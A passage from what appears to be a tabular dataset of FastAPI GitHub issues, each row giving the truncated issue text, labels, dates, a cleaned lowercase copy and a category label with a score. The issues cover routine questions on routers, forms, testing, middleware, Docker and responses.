    if db_user:
        raise HTTPException(status_code=400, detail=""Email already registered"")
    return crud.create_user(db=db, user=user)
```

```
# routes.py
from .main import get_db

@app.post(""/users/"", response_model=schemas.User)
def create_user(user: schemas.UserCreate, db: Session = Depends(get_db)):
    db_user = crud.get_user_by_email(db, email=user.email)
    if db_user:
        raise HTTPException(status_code=400, detail=""Email already registered"")
    return crud.create_user(db=db, user=user)
```

Getting the following error:` ImportError: cannot import name 'get_db'`


### Operating System

macOS

### Operating System Details

_No response_

### FastAPI Version

Latest

### Python Version

3.10

### Additional Conte... [TRUNCATED]","question,question-migrate",2022-11-29 14:24:00+00:00,2023-02-27 21:29:10+00:00,5,"question,question-migrate",90.2953,sqlalchemy fastapi routers description i am following the fastapi integration guide with mysql and it is working fine the issue happens when i want to use the routers and want to divide the routes in multiple files as of now i have the route which interacts with db in the main file but if i move this route to some other file say and import get db function from the main file it gives an error is there a way to use the db function in all files just by importing getting the following error macos details no response fastapi version latest python version additional conte truncated,help,-0.8779
tiangolo/fastapi,1468100208,"I'm confused,i wanna upload some info to server,about 2 images and some details info. error:""msg"": ""str type expected"",       ""type"": ""type_error.str""","### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
...
class ResponseSchema(BaseModel):
    """"""Response Model""""""
    detail: str
    result: Optional[T] = None

class BannerInputSchema(BaseModel):
    """"""Banner Create Model""""""
    title: str
    sub_title: str | None = None
    path_url: str | None = None
    desc: str | None = None

    class Config:
        orm_mode = True

@app.put('/update_banner/{id}',
            response_model=ResponseSchema,
            response_model_exclude_none=True)
async def update_banner(
        banner_id: str = Form(...),
        banner_info: BannerInputSchema = Form(...),
        b_img: UploadFile = File(default=None, description='upload backgro... [TRUNCATED]","question,question-migrate",2022-11-29 13:50:47+00:00,2023-02-28 15:44:09+00:00,2,"question,question-migrate",91.0787,i m confused i wanna upload some info to server about images and some details info error msg str type expected type type error str first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python class responseschema basemodel response model detail str result optional t none class bannerinputschema basemodel banner create model title str sub title str none none path url str none none desc str none none class config orm mode true app put update banner id response model responseschema response model exclude none true async def update banner banner id str form banner info bannerinputschema form b img uploadfile file default none description upload backgro truncated,bug,0.9497
tiangolo/fastapi,1465789505,Middleware to fingerprint incoming TCP/IP requests,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI
from tcp_fingerprint import TCPFingerprintMiddleware

fingerprint_dict = {}

app = FastAPI()

app.add_middleware(TCPFingerprintMiddleware,log_dict=fingerprint_dict)
```


### Description

Hello, I would like to implement a TCP fingerprinting middleware where incoming requests to the endpoints can be stored in a dictionary variable or a database connection (ex. SQL, Redis). The information would be used for profiling the requests made to the endpoint. I have found another project that achieves similar goals to what I am looking for, but it utilizes `libpcap` on Linux and isn't very friendly for integrating with FastA... [TRUNCATED]","question,answered,reviewed,question-migrate",2022-11-28 04:19:47+00:00,2023-02-27 21:29:05+00:00,9,"question,answered,reviewed,question-migrate",91.7148,middleware to fingerprint incoming tcp ip requests first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description hello i would like to implement a tcp fingerprinting middleware where incoming requests to the endpoints can be stored in a dictionary variable or a database connection ex sql redis the information would be used for profiling the requests made to the endpoint i have found another project that achieves similar goals to what i am looking for but it utilizes on linux and isn t very friendly for integrating with fasta truncated,feature,0.967
tiangolo/fastapi,1465661760,Wrap up the returned data by TypeVar,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from pydantic import BaseModel
from typing import TypeVar, Generic
from fastapi import Depends,FastAPI
from sqlalchemy.ext.declarative import declarative_base
import sqlalchemy as sa
Base = declarative_base()
from sqlalchemy import create_engine
from sqlalchemy.orm import sessionmaker, Session, relationship


SQLALCHEMY_DATABASE_URL = ""sqlite:///./sql_app.db""

engine = create_engine(
    SQLALCHEMY_DATABASE_URL, connect_args={""check_same_thread"": False}
)
SessionLocal = sessionmaker(autocommit=False, autoflush=False, bind=engine)


def get_session():
    session = SessionLocal()
    try:
        yield session
    finally:
     ... [TRUNCATED]","question,question-migrate",2022-11-28 01:27:19+00:00,2023-02-27 21:29:03+00:00,1,"question,question-migrate",91.8345,wrap up the returned data by typevar first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python from pydantic import basemodel from typing import typevar generic from fastapi import depends fastapi from sqlalchemy ext declarative import declarative base import sqlalchemy as sa base declarative base from sqlalchemy import create engine from sqlalchemy orm import sessionmaker session relationship sqlalchemy database url sqlite sql app db engine create engine sqlalchemy database url connect args check same thread false sessionlocal sessionmaker autocommit false autoflush false bind engine def get session session sessionlocal try yield session finally truncated,help,0.9517
tiangolo/fastapi,1465340909,Docs generating incorrectly for Post Request with Non-Pydantic Body,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI, Request, Depends, Body
import uvicorn
from fastapi.middleware.cors import CORSMiddleware
import time
import database

tags_metadata = [
    {
        ""name"": ""Recording"",
        ""description"": ""Utilities for session setup, reset, clocking, and synching multiple computers"",
    },
    {
        ""name"": ""Reporting"",
        ""description"": ""Graphing, Summarizing Data, and Submitting to Firebase"",

    },
]
app = FastAPI(openapi_tags=tags_metadata)
app.add_middleware(
    CORSMiddleware,
    allow_origins=[""*""],
    allow_credentials=True,
    allow_methods=[""*""],
    allow_headers=[""*""],
)

SESSION... [TRUNCATED]","question,question-migrate",2022-11-27 05:52:37+00:00,2023-02-28 15:44:06+00:00,4,"question,question-migrate",93.4108,docs generating incorrectly for post request with non pydantic body first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python from fastapi import fastapi request depends body import uvicorn from fastapi middleware cors import corsmiddleware import time import database tags metadata name recording description utilities for session setup reset clocking and synching multiple computers name reporting description graphing summarizing data and submitting to firebase app fastapi openapi tags tags metadata app add middleware corsmiddleware allow origins allow credentials true allow methods allow headers session truncated,feature,0.9744
tiangolo/fastapi,1465175348,How to set event loop while testing app using pytest-asyncio,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
import pytest
import sqlalchemy as sa

from asyncio import current_task
from fastapi import APIRouter
from fastapi import Depends
from fastapi import FastAPI
from fastapi.testclient import TestClient
from sqlalchemy import select
from sqlalchemy.ext.asyncio import AsyncSession
from sqlalchemy.ext.asyncio import async_scoped_session
from sqlalchemy.ext.asyncio import create_async_engine
from sqlalchemy.ext.declarative import DeclarativeMeta
from sqlalchemy.orm import declarative_base
from sqlalchemy.orm import sessionmaker

DB_URL = ""SOME_DB_URL""
Base: DeclarativeMeta = declarative_base()
app = FastAPI()
test_router = APIRouter(pref... [TRUNCATED]","question,question-migrate",2022-11-26 14:53:24+00:00,2023-02-28 15:44:03+00:00,2,"question,question-migrate",94.0352,how to set event loop while testing app using pytest asyncio first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python import pytest import sqlalchemy as sa from asyncio import current task from fastapi import apirouter from fastapi import depends from fastapi import fastapi from fastapi testclient import testclient from sqlalchemy import select from sqlalchemy ext asyncio import asyncsession from sqlalchemy ext asyncio import async scoped session from sqlalchemy ext asyncio import create async engine from sqlalchemy ext declarative import declarativemeta from sqlalchemy orm import declarative base from sqlalchemy orm import sessionmaker db url some db url base declarativemeta declarative base app fastapi test router apirouter pref truncated,help,0.9366
tiangolo/fastapi,1464969852,jsonable_encoder does not observe property's pydantic Config,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from datetime import datetime

from pydantic import BaseModel, Field
from fastapi.encoders import jsonable_encoder


class A(BaseModel):
    class Config:
        json_encoders = {datetime: lambda t: round(t.timestamp())}

    date: datetime = Field(default_factory=datetime.now)


class B(BaseModel):
    a: A = Field(default_factory=A)


a = A()
b = B()

# a.dict() and b.dict() both serialize A the same way
print(a.dict())
print(b.dict())

# jsonable_encoder does not serialize both the same way.
print(jsonable_encoder(a))
print(jsonable_encoder(b))
```


### Description

I expect `class A` to be serialized the same way by js... [TRUNCATED]","question,investigate,question-migrate",2022-11-25 23:04:03+00:00,2023-02-28 15:44:00+00:00,4,"question,investigate,question-migrate",94.6944,jsonable encoder does not observe property s pydantic config first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description i expect to be serialized the same way by js truncated,help,0.9136
tiangolo/fastapi,1464081086,Mount third part ASGI (bentoml) as a sub-application inside fast api and serve,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
import numpy as np
 import bentoml
 from bentoml.io import NumpyNdarray

 iris_clf_runner = bentoml.sklearn.get(""iris_clf:latest"").to_runner()

 svc = bentoml.Service(""iris_classifier"", runners=[iris_clf_runner])

 @svc.api(input=NumpyNdarray(), output=NumpyNdarray())
 def classify(input_series: np.ndarray) -> np.ndarray:
     result = iris_clf_runner.predict.run(input_series)
     return result
```


### Description

Trying to mount this app inside the FASTapi as a subapplication with `vnet.mount(""/api/v1/ops/"",sub_app.svc)`

1. I need to know whether mounting the ASGI app is possible.
2. And does Swagger UI work.

### Operating System... [TRUNCATED]","question,answered,question-migrate",2022-11-25 06:12:15+00:00,2023-02-27 21:29:00+00:00,3,"question,answered,question-migrate",94.6366,mount third part asgi bentoml as a sub application inside fast api and serve first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description trying to mount this app inside the fastapi as a subapplication with i need to know whether mounting the asgi app is possible and does swagger ui work truncated,help,0.9287
tiangolo/fastapi,1463289787,async test client with startup hooks,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
class DataSource:
    data: asyncio.Queue
    [...]
    
    def async_generator(timeout = 20):
        while True:
            try:
                yield await asyncio.wait_for(self.data.get(), timeout)
            except asyncio.TimeoutError:
                break
```

```Python

@pytest.fixure
async def data_injection():
    data = [...]
    _function():
        await asyncio.sleep(5)
        await send_data_to_rabbitmq(data)
    task = loop.create_task(_function())
    try:
        yield data
    finally:
        task.cancel()

async def test_data_stream(client: Testclient, data_injection: data: Any):
... [TRUNCATED]","question,answered,question-migrate",2022-11-24 12:43:36+00:00,2023-02-27 21:28:57+00:00,5,"question,answered,question-migrate",95.3648,async test client with startup hooks first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python pytest fixure async def data injection data function await asyncio sleep await send data to rabbitmq data task loop create task function try yield data finally task cancel async def test data stream client testclient data injection data any truncated,help,0.9331
tiangolo/fastapi,1463104321,about background task,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
# deploy.py
from fastapi import APIRouter, BackgroundTasks

router = APIRouter()

loaded = {}

def load_model(task_id: str):
    loaded[task_id] = ""success""

@router.get(""/publish"")
async def publish(task_id: str, mt: str, background: BackgroundTasks):
    task = await tortoise.get(id=task_id)
    background.add_task(deploy, task.id)
    return response.success(msg=""发布任务下发成功"", data=task.id)

# publish.py
async def deploy(task_id:str):
    load_model(task_id)
```


### Description

I want to add data to Loaded after calling the task and get the data in the interface

But we can't get it

But the document says that if you need to ... [TRUNCATED]","question,question-migrate",2022-11-24 10:17:06+00:00,2023-02-27 21:28:53+00:00,6,"question,question-migrate",95.4665,about background task first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description i want to add data to loaded after calling the task and get the data in the interface but we can t get it but the document says that if you need to truncated,help,0.9209
tiangolo/fastapi,1461494947,How we can manage roles and permissions using fast-API dynamically?,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
class RoleChecker:
    def __init__(self, allowed_roles: List):
        self.allowed_roles = allowed_roles #utils.get_roles(Role)

    def __call__(self, user: User = Depends(oauth2.require_user)):
        print(""user=======>"", user)
        if user['role'] not in self.allowed_roles:
            logger.debug(f""User with role {user['role']} not in {self.allowed_roles}"")
            raise HTTPException(status_code=403, detail=""You have not a permission to performe action."")
        


allow_create_resource = RoleChecker([""admin""])
@router.post('/assign_roles', dependencies=[Depends(allow_create_resource)])
def assign_roles(assign_role: sc... [TRUNCATED]","question,investigate,question-migrate",2022-11-23 10:39:48+00:00,2023-02-28 15:43:54+00:00,10,"question,investigate,question-migrate",97.2112,how we can manage roles and permissions using fast api dynamically first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python class rolechecker def init self allowed roles list self allowed roles allowed roles utils get roles role def call self user user depends oauth require user print user user if user role not in self allowed roles logger debug f user with role user role not in self allowed roles raise httpexception status code detail you have not a permission to performe action allow create resource rolechecker admin router post assign roles dependencies depends allow create resource def assign roles assign role sc truncated,help,0.9734
tiangolo/fastapi,1460667124,Pydantic BaseModel pytest Testing with FastAPI Form Input Type [Retrieving Response Output (Body) Problem],"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
test_endpoints.py (running pytest this code)

from starlette.testclient import TestClient
from app.main import app

from app.models.main import Admin, User


class TestEndpoints:
    def test_root(self):
        with TestClient(app) as client:
            response = client.get(""/"")
            assert response.status_code == 200
            assert response.json() == ""Welcome to the API""

    def test_set_user(self):
        with TestClient(app) as client:
            test_data = User(publicAddress=""0x777888999"", firstName=""John"")

            response = client.post(
                ""/set_user"",
                content=test_data
 ... [TRUNCATED]","question,question-migrate",2022-11-22 22:54:25+00:00,2023-02-28 15:43:51+00:00,3,"question,question-migrate",97.701,pydantic basemodel pytest testing with fastapi form input type retrieving response output body problem first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python test endpoints py running pytest this code from starlette testclient import testclient from app main import app from app models main import admin user class testendpoints def test root self with testclient app as client response client get assert response status code assert response json welcome to the api def test set user self with testclient app as client test data user publicaddress x firstname john response client post set user content test data truncated,bug,0.9418
tiangolo/fastapi,1460259772,FastAPI 0.87.0 (and in particular starlette 0.21.0) broke query string parsing in TestClient (starlette 0.22.0 fixes it!),"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI
```


### Description

We have a test that does something like this:
```python
now = utc_datetime()
url = client.app.url_path_for(""balances"")
start_date = now - timedelta(minutes=1)
start_date_param = urlencode({""start_date"": start_date.isoformat()})
end_date_param = urlencode({""end_date"": now.isoformat()})
response = client.get(url + f""?{start_date_param}&{end_date_param}"")
```
With FastAPI 0.86 everything works. Starting from 0.87 (which uses `starlette` 0.21.0) our endpoint errors with:
```python
{'error': {'code': 'validation_error', 'message': 'Validation Error', 'errors': [{'attribute': 'query -> start_dat... [TRUNCATED]","question,question-migrate",2022-11-22 17:13:02+00:00,2023-02-27 21:28:50+00:00,3,"question,question-migrate",97.1776,fastapi and in particular starlette broke query string parsing in testclient starlette fixes it first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description we have a test that does something like this with fastapi everything works starting from which uses our endpoint errors with python error code validation error message validation error errors attribute query start dat truncated,bug,-0.631
tiangolo/fastapi,1460120764,about docker-compose host name?,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
1.docker-compose like this
version: ""3.9""
services:
  mysql:
    restart: always
    image: mysql:5.7

2.connect mysql
DB_HOST = 'mysql'
DB_URL = f""{DB_DRIVER}://{DB_USER}:{DB_PASSWORD}@{DB_HOST}:{DB_PORT}/{DB_NAME}?charset=utf8mb4""
engine = create_engine(DB_URL, echo=SQLMODEL_ECHO)
```


### Description

i use the service name as the host,but it can not work.
according to offical document. it shoud be work.

### Operating System

Linux, Windows

### Operating System Details

win11

### FastAPI Version

0.79

### Python Version

3.10.5

### Additional Context

_No response_","question,question-migrate",2022-11-22 15:47:29+00:00,2023-02-27 21:28:47+00:00,5,"question,question-migrate",97.237,about docker compose host name first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description i use the service name as the host but it can not work according to offical document it shoud be work linux windows details win fastapi version python version no response,documentation,0.9442
tiangolo/fastapi,1459232323,Return raw bytes from endpoint function and preprocess it before send,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastApi

class RawResponse(Response):
    media_type = ""binary/octet-stream""
     
    def render(self, content: bytes) -> bytes:
        self.body = bytes([b ^ 0x54 for b in content])

app = FastApi(default_response_class=RawResponse)

@app.get(""/"")
def endpoint_fn(_: Request):
    return b""\xf6j,\x90\xae\\\xf3\xd3\xaa""
```


### Description

For this code I get `'utf-8' codec can't decode byte` at routing.py:234 (`serialize_response` call). How can I override this? 
Only one hackish solution that I've found is to b64encode(bytes) and in `RawResponse` render b64decode(content) then xor it

### Operating System

Windo... [TRUNCATED]","question,question-migrate",2022-11-22 06:43:28+00:00,2023-02-28 15:43:46+00:00,10,"question,question-migrate",98.3752,return raw bytes from endpoint function and preprocess it before send first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description for this code i get at routing py call how can i override this only one hackish solution that i ve found is to b encode bytes and in render b decode content then xor it windo truncated,help,0.9398
tiangolo/fastapi,1456751476,Is there any way to auto reload the web page on reload in fastapi ?,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI, Request
from fastapi.staticfiles import StaticFiles
from fastapi.templating import Jinja2Templates

app = FastAPI()
app.mount(""/static"", StaticFiles(directory=""./templates/static""), name=""static"")
templates = Jinja2Templates(directory=""./templates"")

@app.get(""/"")
def index(request : Request):
    return templates.TemplateResponse(""index.html"", {""request"": request})

if __name__ == ""__main__"":
    import uvicorn
    uvicorn.run(
        ""main:app"",
        host=""127.0.0.1"",
        port=8000,
        reload_includes=[""*.html"", ""*.css"", ""*.js""],
        reload_excludes=[""./node_modules""],
